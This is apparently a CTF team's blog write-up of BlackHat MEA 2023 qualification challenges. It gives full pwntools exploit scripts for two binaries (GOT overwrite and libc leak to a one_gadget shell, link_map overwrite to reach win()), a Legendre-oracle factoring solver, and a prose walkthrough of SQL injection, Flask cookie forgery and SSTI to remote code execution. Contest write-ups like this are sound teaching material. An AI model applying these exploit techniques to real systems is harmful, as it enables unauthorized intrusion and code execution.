Contents

BlackHat MEA CTF 2023

https://i.imgur.com/BcPfYo8.png
BlackHat MEA CTF 2023

Last weekend, I participated in the qualification round of BlackHat MEA CTF 2023 with my team, DeadSec. Fortunately, we successfully completed all the challenges and ranked 7th. With this performance, we have qualified for the finals, scheduled for 14-16 November 2023 in Riyadh, Saudi Arabia. Below are some write-ups of the challenges from the CTF.

Pwn

Profile

Description
Give us your profile and we will issue you an ID card.

Initial Analysis

In this challenge, we were provided with the source code of the binary called main.c to analyze. Here’s the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

struct person_t {
  int id;
  int age;
  char *name;
};

void get_value(const char *msg, void *pval) {
  printf("%s", msg);
  if (scanf("%ld%*c", (long*)pval) != 1)
    exit(1);
}

void get_string(const char *msg, char **pbuf) {
  size_t n;
  printf("%s", msg);
  getline(pbuf, &n, stdin);
  (*pbuf)[strcspn(*pbuf, "\n")] = '\0';
}

int main() {
  struct person_t employee = { 0 };

  employee.id = rand() % 10000;
  get_value("Age: ", &employee.age);
  if (employee.age < 0) {
    puts("[-] Invalid age");
    exit(1);
  }
  get_string("Name: ", &employee.name);
  printf("----------------\n"
         "ID: %04d\n"
         "Name: %s\n"
         "Age: %d\n"
         "----------------\n",
         employee.id, employee.name, employee.age);

  free(employee.name);
  exit(0);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  srand(time(NULL));
}

There’s a type confusion bug wherein, during the assignment of the value to employee.age, the program attempts to scan a long value (8 bytes) instead of an int value (4 bytes). Because of this discrepancy, we experience a 4-byte overflow. Based on the person_t struct, this overflow will overwrite the char pointer of name.

Exploiting this bug allows us to trigger the overflow and alter the stored pointer of name. This, in turn, permits arbitrary writes to any address we choose when filling the name via get_string.

Additionally, running a checksec on the binary reveals that the compiled binary uses Partial RELRO and No PIE.

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solution

Given the information above, we can see that the combination of Partial RELRO, No PIE, and the binary’s bug easily allows us to overwrite the GOT address of the desired binary.

First, we aim for multiple writes. Thus, the initial step is overwriting the GOT address of free to point to main. This action ensures that when the program calls free, it instead invokes the main function again, granting us the capability for repeated arbitrary writes.

Next, we seek to leak the libc address. This can be achieved by overwriting the GOT of strcspn to printf. Observed that within the get_string function, there’s a line of code (*pbuf)[strcspn(*pbuf, "\n")] = '\0';. By overwriting strcspn to printf, and considering pbuf is a pointer to a string under our control, we introduce a new vulnerability: the format string bug. Utilizing this bug, we can leak the libc address. Upon inspection with gdb, the format string %31$p returns the address of __libc_start_call_main+0x80.

Lastly, once the libc address is successfully leaked, we can simply overwrite the GOT of free to the relevant one_gadget. Observing the register values when calling free, and examining the available one_gadget within the provided libc in the supplied docker, we find that gadget:

1
2
3
4
5
0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

can be used to get a shell.

Below is the full script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

exe = ELF("profile_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "0.0.0.0"
remote_port = 5000
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

r = conn()

def set_age(age):
    r.sendlineafter(b'Age: ', str(age).encode())

def set_name(name, is_printf=False):
    r.sendlineafter(b'Name: ', name)
    if is_printf:
        return r.recvline().strip()

# Overwrite free to main
set_age(exe.got['free'] << 32)
set_name(p64(exe.symbols['main'])[:3])

# Overwrite strcspn to printf
set_age(exe.got['strcspn'] << 32)
set_name(p64(exe.plt['printf']))

# Leak libc
set_age((exe.bss()+0x200) << 32)
leaked_libc = int(set_name(b'%31$p', is_printf=True), 16)
info(f'{hex(leaked_libc) = }')
libc.address = leaked_libc -(libc.symbols['__libc_start_call_main']+0x80)
info(f'{hex(libc.address) = }')

# Overwrite free to one_gadget (r10 null, rdx null)
set_age((exe.got['free']) << 32)
set_name(p64(libc.address+0xebcf5))

r.interactive()

Memstream

Description
Seek the file. Seek the flag.

Initial Analysis

In this challenge, we were provided with the source code of the binary called main.c to analyze. Here’s the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#define MEM_MAX 0x1000

char g_buf[MEM_MAX];
off_t g_cur;

static void win() {
  system("/bin/sh");
}

size_t getval(const char *msg) {
  size_t val;
  printf("%s", msg);
  if (scanf("%ld%*c", &val) != 1)
    exit(1);
  return val;
}

void do_seek() {
  off_t cur = getval("Position: ");
  if (cur >= MEM_MAX) {
    puts("[-] Invalid offset");
    return;
  }
  g_cur = cur;
  puts("[+] Done");
}

void do_write() {
  int size = getval("Size: ");
  if (g_cur + size > MEM_MAX) {
    puts("[-] Invalid size");
    return;
  }
  printf("Data: ");
  if (fread(g_buf + g_cur, sizeof(char), size, stdin) != size)
    exit(1);
  puts("[+] Done");
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  puts("1. Seek\n2. Read\n3. Write");
  while (1) {
    switch (getval("> ")) {
      case 1: do_seek(); break;
      case 2: puts("You know what you wrote."); break;
      case 3: do_write(); break;
      default: return 0;
    }
  }
}

Examining the source code, we observe a win function, which can be later utilized to spawn a shell. However, there’s a vulnerability allowing us to initiate an OOB (out-of-bound) write.

Noticed that off_t is actually a signed type. That means that invoking do_seek with a negative value will make g_cur becomes negative. This scenario allows us to perform an out-of-bound write (via do_write) to any address located before g_buf in the bss section. This is because the result of the g_cur + size verification will always be less than MEM_MAX.

Running a checksec on the compiled binary yielded unexpected results.

1
2
3
4
5
6
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    Packer:   Packed with UPX

The binary is packed with UPX. This detail becomes crucial later as we develop an approach to tackle this challenge.

Solution

Armed with the information mentioned above, we delve into gdb to understand what sets UPX apart. Inspecting the memory mappings, we discern that the binary’s address is positioned below the ld (with a consistent offset difference).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
0x00007ffff7fb4000 0x00007ffff7fb6000 0x0000000000002000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fb6000 0x00007ffff7fe0000 0x000000000002a000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fe0000 0x00007ffff7feb000 0x000000000000b000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7feb000 0x00007ffff7fec000 0x0000000000001000 0x0000000000000000 --- 
0x00007ffff7fec000 0x00007ffff7fee000 0x0000000000002000 0x0000000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fee000 0x00007ffff7ff0000 0x0000000000002000 0x0000000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ff5000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ff5000 0x00007ffff7ff7000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffff7ff7000 0x00007ffff7ff8000 0x0000000000001000 0x0000000000000000 r-- 
0x00007ffff7ff8000 0x00007ffff7ff9000 0x0000000000001000 0x0000000000000000 r-x 
0x00007ffff7ff9000 0x00007ffff7ffb000 0x0000000000002000 0x0000000000000000 r-- 
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000002000 0x0000000000000000 rw- 

From this observation, we infer that the intended solution might involve overwriting data in the linker region. Reading through this writeup provides insights into the linker’s operation. In essence, there exists a link map that retains a pointer to the mapped address of our binary, and this pointer is leveraged during symbol resolution.

Experimenting by setting g_cur to -0x7000-0x60+0x12e0 (causing do_write to overwrite the link_map value) and attempting to overwrite it with 0x6161616161616161, we spot a crash in GDB upon the binary’s exit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
----------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x6161616161619ee9
--------------------------------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
    0x7f926114a240 741d               <NO_SYMBOL>   je     0x7f926114a25f 
    0x7f926114a242 660f1f440000       <NO_SYMBOL>   nop    WORD PTR [rax + rax * 1 + 0x0] 
    0x7f926114a248 488945c8           <NO_SYMBOL>   mov    QWORD PTR [rbp - 0x38], rax 
 -> 0x7f926114a24c ff10               <NO_SYMBOL>   call   QWORD PTR [rax] 
    0x7f926114a24e 488b45c8           <NO_SYMBOL>   mov    rax, QWORD PTR [rbp - 0x38] 
    0x7f926114a252 4889c2             <NO_SYMBOL>   mov    rdx, rax 
    0x7f926114a255 4883e808           <NO_SYMBOL>   sub    rax, 0x8 
    0x7f926114a259 483955c0           <NO_SYMBOL>   cmp    QWORD PTR [rbp - 0x40], rdx 
    0x7f926114a25d 75e9               <NO_SYMBOL>   jne    0x7f926114a248

Observably, the link_map value increases by 0x3d88, then the value stored at that address gets invoked. This implies that if we can overwrite the link_map to a beneficial address containing our desired value, we gain the ability to invoke any function of our choice.

In this scenario, as our aim is to invoke win, we need to locate an address storing the value of our binary address. Through further examination in gdb, we observed that the address bss+0x8 maintains a pointer to itself.

Given this knowledge, we can modify the last two bytes to alter the stored pointer to the win address. Subsequently, we overwrite the last two bytes of the link_map so that, post the addition of 0x3d88, it directs to bss+0x8, and the call QWORD PTR [rax] essentially invokes the win function, granting us a shell.

It’s worth noting that altering the final two bytes implies that we might need to engage in some bruteforcing, as only the first three nibbles are static.

In summary:

  • Modify the last two bytes of bss+0x8 to point to the win() address.
  • Adjust the final two bytes of link_map so that the result of link_map+0x3d88 targets bss+0x8.

Here is the full script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

while True:
    # r = process('./memstream', env={'LD_PRELOAD': './libc.so.6'})
    r = remote('54.78.163.105', 32616)

    def do_seek(pos):
        r.sendlineafter(b'> ', b'1')
        r.sendlineafter(b'Position: ', str(pos).encode())

    def do_write(sz, val):
        r.sendlineafter(b'> ', b'3')
        r.sendlineafter(b'Size: ', str(sz).encode())
        r.sendafter(b'Data: ', val)

    # Overwrite and change it to win()
    do_seek(-0x58)
    do_write(2, p16(0x3229))

    # Overwrite link_map so that link_map+0x3d88 points to bss+0x8
    ld_offset = -0x7000-0x60
    link_map = ld_offset+0x12e0
    do_seek(link_map)
    do_write(2, p16(0x2280))
    r.sendlineafter(b'> ', b'4')

    r.interactive()

Crypto

Octopodal

Description
With eight legs I can run so much faster, just look at me goooo ~ !

Initial Analysis

In this challenge, we were provided with the source code of the server called server.py to analyze. Here’s the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
#
# BlackHat MEA 2023 CTF Quals
#
# [Easy] Crypto - Octopodal
#


# Native imports
import os
from sympy.ntheory import legendre_symbol

# Non-native imports
from Crypto.Util.number import getPrime     # pip install pycryptodome

# Flag import
FLAG = os.environ.get('FLAG', 'FLAG{TH1S_1S_JUST_S0M3_D3BUG_FL4G}').encode()


# Challenge set-up
primeNumber = 8
primeBits   = 24
primeList   = [getPrime(primeBits) for _ in range(primeNumber)]

modulus = 1
for prime in primeList:
    modulus *= prime
    
base = 2


# Server loop
HDR = """|
|     _______ _______ _______ _______ _______ _______ ______   _______ ___     
|    |   _   |   _   |       |   _   |   _   |   _   |   _  \ |   _   |   |    
|    |.  |   |.  1___|.|   | |.  |   |.  1   |.  |   |.  |   \|.  1   |.  |    
|    |.  |   |.  |___`-|.  |-|.  |   |.  ____|.  |   |.  |    |.  _   |.  |___ 
|    |:  1   |:  1   | |:  | |:  1   |:  |   |:  1   |:  1    |:  |   |:  1   |
|    |::.. . |::.. . | |::.| |::.. . |::.|   |::.. . |::.. . /|::.|:. |::.. . |
|    `-------`-------' `---' `-------`---'   `-------`------' `--- ---`-------'
|"""

k = (modulus.bit_length() - 1) // primeBits
flagPieces = [int.from_bytes(FLAG[i:i+k], 'big') for i in range(0, len(FLAG), k)]

encryptedPieces = [pow(base, i, modulus) for i in flagPieces]
print('|\n|  ~ Flag pieces:')
for i,j in enumerate(encryptedPieces):
    print('|    {}: 0x{:0{n}x}'.format(i, j, n=-(-modulus.bit_length()//4)))
    
def LegSum(x, primes):
    return sum(legendre_symbol(x, p) for p in primes)

while True:
    try:
        
        x = int(input('|\n|  > (int) '))
        print('|    L = {}'.format(LegSum(x, primeList)))
        
    except KeyboardInterrupt:
        print('\n|\n|  ~ Sum you later ~ !\n|')
        break
        
    except:
        print('|\n|  ~ Ehm are you alright ~ ?')
        

Looking through the source code reveals that the server performs the following actions:

  • Generates 8 primes (24-bit) and employs them as the modulus.
  • Divides the flag into multiple pieces.
  • Encrypts it by evaluating pow(2, flag_piece, modulus).
  • Outputs the encrypted pieces.
  • Accepts any input termed x, and the server returns the sum of the outcome of legendre_symbol(x, p), where p represents each prime factor of the modulus.

Solution

legendre_symbols can only produce three possible outcomes:

  • 1 if x is a quadratic residue and a ≢ 0 mod p.
  • -1 if x is a quadratic non-residue mod p.
  • 0 if x ≡ 0 mod p.

Considering that 8 primes are in play, if we input a number where exactly one of its factor matches one of the primes, the resultant sum will be odd. This observation allows us to employ binary search to discern the factors.

Notably, the deployed prime spans 24 bits. We can easily generate all primes within these 24 bits. Approximately ~500k primes fit the 24-bit criteria. We can divide these primes into multiple blocks, each containing 500 primes. Then, we can multiply every prime within a block. Sending this value to the server, if the returned sum is odd, it implies that a prime within the current block is a prime factor of the modulus.

To speed-up the process, we can apply binary search within the current chunk. For every iteration, we input the multiplication outcome of half the chunk to the server. If the result is even, we discard the initial half; otherwise, we dispose the latter half. This cycle continues until we identify a single number yielding an odd result, which is the prime factor of the modulus.

Iterating this procedure enables us to reconstruct all the primes and compute the modulus leveraged during the encryption. Then, we can easily use discrete_log(ct, Mod(2, n)) in sagemath to retrieve the flag segment.

Here’s the full script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
from pwn import *
import math

# # Generate primes
# primes_24 = []
# curr_prime = 2**23
# while curr_prime < 2**24:
#     curr_prime = next_prime(curr_prime)
#     primes_24.append(curr_prime)
    # info(f'{2**24 - curr_prime}')
# print(primes_24)
# exit()

primes_24 = eval(open('primes_24', 'r').read())

# Setup connection
url = b'54.78.163.105'
port = int(30562)
if not args.LOCAL:
    r = remote(url, port)
else:
    r = process(['python3', 'server.py'])
    target = sorted(eval(r.recvline().strip()))

# Fetch cts
cts = []
for i in range(6):
    r.recvuntil(f'{i}: '.encode())
    cts.append(int(r.recvline().strip(), 16))
info(f'{cts = }')

# Helper to get legendre sum
def get_legendre_sum(val):
    r.recvuntil(b'int) ')
    r.sendline(str(val).encode())
    r.recvuntil(b'L = ')
    out = int(r.recvline().strip())
    return out

# Helper to binary search the prime factor
def search_prime(arr):
    low = 0
    high = len(arr) - 1
    mid = 0
    while low < high:
        mid = (high + low) // 2
        new_val = math.prod(arr[:mid+1])
        res = get_legendre_sum(new_val)
        if res % 2 == 0:
            low = mid + 1
        else:
            high = mid
    assert low==high
    return low

recovered_primes = []
start_i = 0
gap = 500
while len(recovered_primes) < 8:
    for i in range(start_i, len(primes_24), gap):
        val = (math.prod(primes_24[i:i+gap])) # Multiply numbers from primes_24[i..i+gap]
        out = get_legendre_sum(val)
        is_odd = out % 2 == 1
        if is_odd: # odd == we find a good array
            info(f'{val = }')
            info(f'{i = }, {i//gap = }')
            info(f'{out = }, odd = {is_odd}')
            start_i = i
            break
    arr = primes_24[start_i:start_i+gap] # There is one prime factor in this array

    # Do binary search
    print(f'Start binary search...')
    idx = search_prime(arr)
    info(f'prime factor: {arr[idx]}')
    recovered_primes.append(arr[idx])
    print(f'{recovered_primes = }')
    start_i += gap

print(f'{recovered_primes = }')
if args.LOCAL:
    print(f'{target           = }')
print(f'{cts              = }')

exit()

'''
# Sagemath script to decrypt the flag
from Crypto.Util.number import *

def recover_flag(recovered_primes, cts):
    n = prod(recovered_primes)
    flag = b"" 
    for ct in cts: 
        flag += long_to_bytes(int(discrete_log(ct, Mod(2, n))))
    return flag

recovered_primes = []
cts              = []
print(recover_flag(recovered_primes, cts))
'''

Web

Hardy

Description
We’ve managed to retrieve the credentials for this amazing hacking interface, user:password, can you help us get the flag? We’re definitely not tricking you to steal your IP!

Solution

In this blackbox challenge, we were presented with a website featuring a login page. They also provides us with a working credential: user:password. While testing the website, we identified that the parameter was susceptible to SQL injection. For instance, entering the parameters (SELECT "username")=user&(SELECT "password")=password on the login form resulted in a successful login.

Exploiting this SQL injection vulnerability, we discovered another account from user. Trying to leak it, we found the credentials of this new account: admin:ILIKEpotatoesSOMUCH::&&.

Further exploration led us to the revelation that the admin password also used as the flask secret key. This significant find meant that we had the ability to construct a valid Flask session cookie.

An interesting observation was made upon decoding this cookie: the decoded value was {"type": "user"}. Intriguingly, this type attribute was prominently displayed on the /panel page for both admin and user accounts (Notes that the admin account cokie type is also user).

Our suspicion led us to believe that a Server-Side Template Injection (SSTI) vulnerability might be lurking here. To confirm our hypothesis, we created a cookie where the type value is set to {{7*'7'}}. As expected, we can trigger the SSTI.

The path ahead was clear: craft a cookie with the type attribute set to a valid SSTI payload. Exploiting RCE via SSTI, we could read the flag stored in the / directory.

Social Media

Follow me on twitter